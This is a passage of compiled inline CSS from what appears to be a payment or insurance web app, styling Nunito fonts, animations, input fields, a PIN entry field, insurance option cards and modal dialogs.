opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.input-field .inputIcon {
position: absolute;
width: 24px;
height: 24px;
top: 12px;
right: 12px;
cursor: pointer; }
.input-field.digital-emission {
position: relative;
display: flex;
align-items: center;
justify-content: flex-end; }
.input-field.digital-emission .icon-remove {
position: absolute;
right: 16px;
cursor: pointer; }
.input-field.digital-emission .input {
border: 1px solid #cbd4dc;
padding: 0 16px;
width: 100%;
height: 48px;
border-radius: 6px;
color: #416179;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Bold;
outline: 0;
-webkit-transition-duration: .3s;
-moz-transition-duration: .3s;
-ms-transition-duration: .3s;
-o-transition-duration: .3s;
transition-duration: .3s; }
.input-field.digital-emission .input:disabled {
cursor: no-drop;
border: 1px solid #cbd4dc;
opacity: .5; }
.input-field.digital-emission .input.active {
color: #122e43; }
.input-field.digital-emission .input.input--error {
border: 1px solid #ff4858; }
.input-field.digital-emission .input:hover {
border: 1px solid #416179; }
.input-field.digital-emission .input:focus {
border: 1px solid #2d9cdb; }
.input-field.digital-emission label {
color: #788fa0;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Bold;
position: absolute;
left: 16px;
cursor: text;
padding: 0 4px;
transform-origin: 0% 100%;
transition: transform .2s ease-out, color .2s ease-out, -webkit-transform .2s ease-out; }
.input-field.digital-emission label.active {
transform: translateY(-24px) scale(1);
transform-origin: 0 0;
background-color: #ffffff;
font-family: NunitoSans-SemiBold;
color: #2d9cdb;
font-size: 12px;
line-height: 18px; }
.input-field.digital-emission label.filled {
transform: translateY(-24px) scale(1);
transform-origin: 0 0;
background-color: #ffffff;
font-family: NunitoSans-SemiBold;
color: #122e43;
font-size: 12px;
line-height: 18px; }
.input-field.digital-emission label.disabled {
cursor: no-drop;
color: #a0acb6;
opacity: .5; }
.input-field.digital-emission label.input--error {
transform: translateY(-24px) scale(1);
transform-origin: 0 0;
background-color: #ffffff;
font-family: NunitoSans-Regular;
color: #ff4858;
font-size: 12px;
line-height: 18px; }
.input-field.digital-emission label.input--success {
transform: translateY(-24px) scale(1);
transform-origin: 0 0;
background-color: #ffffff;
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 18px; }
.input-field .input__icon {
display: flex;
color: #a0acb6;
cursor: pointer;
position: absolute;
padding-right: 12px; }
.input-captions.digital-emission {
margin-top: 8px;
font-size: 12px;
font-family: NunitoSans-Regular;
line-height: 16px;
display: flex;
justify-content: space-between; }
.input-captions.digital-emission div .captions {
display: flex; }
.input-captions.digital-emission div .captions.input--error {
color: #ff4858; }
.input-captions.digital-emission div .captions.input--success {
color: #04c532; }
.input-captions.digital-emission div .captions img {
margin-right: 8px;
width: 16px;
height: 16px; }
.input-captions.digital-emission .captions--hint {
display: flex;
justify-content: flex-end;
align-items: flex-start;
width: 50%; }
.input-captions.digital-emission .captions--hint span {
color: #a0acb6;
font-size: 12px;
line-height: 16px;
font-family: NunitoSans-Regular; }
.input-captions.digital-emission .captions--hint span.hint--help {
cursor: pointer;
text-decoration: underline; }
.input-captions.digital-emission .captions--hint img {
width: 12px;
height: 12px;
margin-left: 7px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.input-amount {
height: 48px;
width: 343px;
border: 1px solid #cbd4dc;
box-sizing: border-box;
border-radius: 6px;
font-family: Nunito-ExtraBold;
font-size: 26px;
text-align: center;
padding: 9px 16px; }
.input-amount--default {
color: #ff7a02; }
.input-amount--paris {
color: #009ce0; }
.input-amount:focus {
outline: none !important;
border: 1px solid #cbd4dc; }
.input-amount.input-amount--warning {
border-color: #feb638; }
@media (max-width: 727px) {
.input-amount {
width: 100%; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.password-container {
display: flex;
width: 100%;
justify-content: space-between;
align-items: center; }
.password-container .password__field {
width: 36px;
height: 48px;
border-radius: 4px;
background: #e8eff7;
border: solid 1px #e8eff7;
font-size: 36px;
text-align: center;
outline: none;
color: #416179;
line-height: 24px;
font-family: 'Nunito-Regular'; }
.password-container .eye-container {
display: flex;
justify-content: center;
width: 36px;
height: 36px;
background: #e8eff7;
border-radius: 50%;
align-items: center;
cursor: pointer; }
.password-container .eye-container img {
height: 24px;
width: 24px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.insurance--check__container {
display: flex;
justify-content: space-between;
background-color: #ffffff;
border-radius: 6px;
border: 1px solid #d4e3f2;
margin-bottom: 8px;
padding: 16px;
align-items: center; }
.insurance--check__container .container__left {
display: flex;
align-items: center; }
.insurance--check__container .container__left .left__check {
margin-right: 12px; }
.insurance--check__container .container__left .left__name {
border-left: 1px solid #d4e3f2;
padding-left: 16px; }
.insurance--check__container .container__left .left__name h3 {
font-family: Nunito-Bold;
font-size: 18px;
line-height: 18px;
color: #405768;
margin: 0; }
.insurance--check__container .container__left .left__name .left__notification {
font-family: NunitoSans-Regular;
font-size: 16px;
line-height: 16px; }
.insurance--check__container .container__left .left__name .left__notification .notification__mobile {
display: none; }
.insurance--check__container .container__left .left__name .left__notification .notification__mobile .mobile__coverage {
font-family: NunitoSans-Regular;
font-size: 16px;
line-height: 16px;
color: #2d9cdb;
text-decoration: underline;
cursor: pointer; }
.insurance--check__container .container__left .left__name .left__notification .notification__mobile .mobile__label {
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 16px;
color: #a0acb6; }
.insurance--check__container .container__left .left__name .left__notification .notification--toast {
padding: 4px 6px;
margin-top: 4px;
width: 100%;
color: inherit; }
.insurance--check__container .container__left .left__name .left__notification .notification--toast .img-container {
margin-right: 6px;
margin-left: 6px; }
.insurance--check__container .container__left .left__name .left__notification .notification--toast .text-container p {
padding: 0px;
margin: 0px; }
.insurance--check__container .container__left .left__name .left__coverage {
font-family: NunitoSans-Regular;
font-size: 16px;
line-height: 16px;
color: #2d9cdb;
text-decoration: underline;
cursor: pointer; }
.insurance--check__container .container__left .left__name .left__label {
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 16px;
color: #a0acb6; }
.insurance--check__container .container__right {
border-left: 1px solid #d4e3f2;
padding-left: 16px; }
.insurance--check__container .container__right .right__coverage {
font-family: NunitoSans-Regular;
font-size: 16px;
line-height: 16px;
color: #2d9cdb;
text-decoration: underline;
cursor: pointer; }
.insurance--check__container .container__right .right__label {
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 16px;
color: #a0acb6; }
.insurance--check__container .container__right .amount_right {
font-family: Nunito-Bold;
margin: 0;
font-size: 18px;
line-height: 18px;
text-align: end;
color: #405768; }
.insurance--check__container .container__right .right_amount {
text-decoration: line-through; }
.insurance--check__container .container__right .label_right {
font-family: Nunito-Regular;
margin: 4px 0 0 0;
line-height: 16px;
size: 16px;
min-width: 85px;
text-align: end;
color: #405768; }
@media (max-width: 727px) {
.insurance--check__container .container__left .left__check {
margin-right: 16px; }
.insurance--check__container .container__left div .left__coverage {
line-height: 16px; }
.insurance--check__container .container__left .left__name {
font-size: 16px;
padding-left: 8px; }
.insurance--check__container .container__left .left__name .left__notification .notification--toast {
margin-top: 8px;
font-size: 14px; }
.insurance--check__container .container__left .left__name .left__notification .notification--toast .img-container {
display: none; }
.insurance--check__container .container__left .left__name .left__notification .notification__mobile {
display: flex;
margin-top: 4px;
font-size: 14px; }
.insurance--check__container .container__right .right__coverage {
display: none; }
.insurance--check__container .container__right .right__label {
display: none; } }
@media (max-width: 400px) {
.insurance--check__container .container__left div {
display: flex;
flex-direction: column; }
.insurance--check__container .container__right {
padding-left: 0px;
width: 68px; }
.insurance--check__container .container__right .right__coverage {
display: none; }
.insurance--check__container .container__right .label_right {
min-width: auto;
text-align: start;
margin: 4px 0px 0px 10px; } }
@media (max-width: 320px) {
.insurance--check__container .container__left .left__name > div .left__coverage,
.insurance--check__container .container__left .left__name > div .left__label {
font-size: 12px;
line-height: 12px; }
.insurance--check__container .container__right {
width: 77px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.inputmodal .modal-content {
padding: 30px 40px;
overflow-y: scroll; }
.inputmodal .modal-content .inputmodal--list {
padding: 10px 5px; }
@media (max-width: 727px) {
.inputmodal .modal-content .inputmodal--list {
text-align: start; } }
.inputmodal .modal-content::-webkit-scrollbar {
display: none; }
.inputmodal .modal-content {
-ms-overflow-style: none;
scrollbar-width: none; }
.inputmodal .input-field .inputmodal--icon {
position: absolute;
width: 24px;
height: 24px;
right: 20px;
cursor: pointer;
height: 100%;
top: 0; }
.inputmodal .input-field.digital-emission {
position: relative;
display: flex;
align-items: center; }
.inputmodal .input-field.digital-emission .input {
border: 1px solid #cbd4dc;
padding: 0 16px;
width: 100%;
height: 48px;
border-radius: 6px;
color: #416179;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Regular;
outline: 0;
-webkit-transition-duration: 0.3s;
-moz-transition-duration: 0.3s;
-ms-transition-duration: 0.3s;
-o-transition-duration: 0.3s;
transition-duration: 0.3s; }
.inputmodal .input-field.digital-emission .input:focus {
border: 1px solid #2d9cdb; }
.inputmodal .input-field.digital-emission .input:disabled {
cursor: no-drop;
border: 1px solid #cbd4dc;
opacity: .5; }
.inputmodal .input-field.digital-emission label {
color: #416179;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Bold;
position: absolute;
left: 16px;
cursor: text;
padding: 0 8px;
-webkit-transition-property: transform, color 0.2s ease-out;
-moz-transition-property: transform, color 0.2s ease-out;
-ms-transition-property: transform, color 0.2s ease-out;
-o-transition-property: transform, color 0.2s ease-out;
transition-property: transform, color 0.2s ease-out;
-webkit-transform-origin: 0% 100%;
-moz-transform-origin: 0% 100%;
-ms-transform-origin: 0% 100%;
transform-origin: 0% 100%; }
.inputmodal .input-field.digital-emission label.active {
-webkit-transform: translateY(-24px) scale(1);
-moz-transform: translateY(-24px) scale(1);
-ms-transform: translateY(-24px) scale(1);
-o-transform: translateY(-24px) scale(1);
transform: translateY(-24px) scale(1);
-webkit-transform-origin: 0 0;
-moz-transform-origin: 0 0;
-ms-transform-origin: 0 0;
transform-origin: 0 0;
background-color: #ffffff;
font-family: Nunito-Regular;
color: #2d9cdb; }
.inputmodal .input-field.digital-emission label.disabled {
cursor: no-drop;
color: #a0acb6;
opacity: .5; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.modal-headerfooter {
position: fixed;
top: 0;
left: 0;
background-color: rgba(0, 0, 0, 0.8);
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
opacity: 0;
visibility: hidden;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in; }
@media (max-width: 727px) {
.modal-headerfooter {
left: 0;
top: 0; } }
.modal-headerfooter.modal--open {
height: 100%;
opacity: 1;
visibility: visible;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.modal-headerfooter.modal--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.modal-headerfooter .modal--content {
display: flex;
flex-direction: column;
justify-content: space-between;
height: 650px;
border-radius: 10px;
-webkit-transform: translateY(100%);
-moz-transform: translateY(100%);
-ms-transform: translateY(100%);
-o-transform: translateY(100%);
transform: translateY(100%); }
@media (max-width: 727px) {
.modal-headerfooter .modal--content {
width: auto;
height: 100%;
max-height: 100%;
top: 0;
left: 0;
overflow-y: scroll;
text-align: center;
border-radius: 0; } }
.modal-headerfooter .modal--content.modal--open {
-webkit-transition: 0.5s;
-moz-transition: 0.5s;
-ms-transition: 0.5s;
-o-transition: 0.5s;
transition: 0.5s;
-webkit-transform: translateY(0);
-moz-transform: translateY(0);
-ms-transform: translateY(0);
-o-transform: translateY(0);
transform: translateY(0); }
@media (max-width: 727px) {
.modal-headerfooter .modal--content.modal--open {
height: 100%; } }
.modal-headerfooter .modal--content .modal--close-icon {
position: absolute;
width: 24px;
height: 24px;
top: 12px;
right: 12px;
cursor: pointer; }
@media (max-width: 727px) {
.modal-headerfooter .modal--content .modal--close-icon {
top: 20px; } }
.modal-headerfooter .modal--content .modal--header {
text-align: center;
font-family: NunitoSans-Bold;
font-size: 24px;
color: #416179;
padding: 25px;
background-color: #e8ecf0;
border-top-left-radius: 10px;
border-top-right-radius: 10px;
line-height: 16px; }
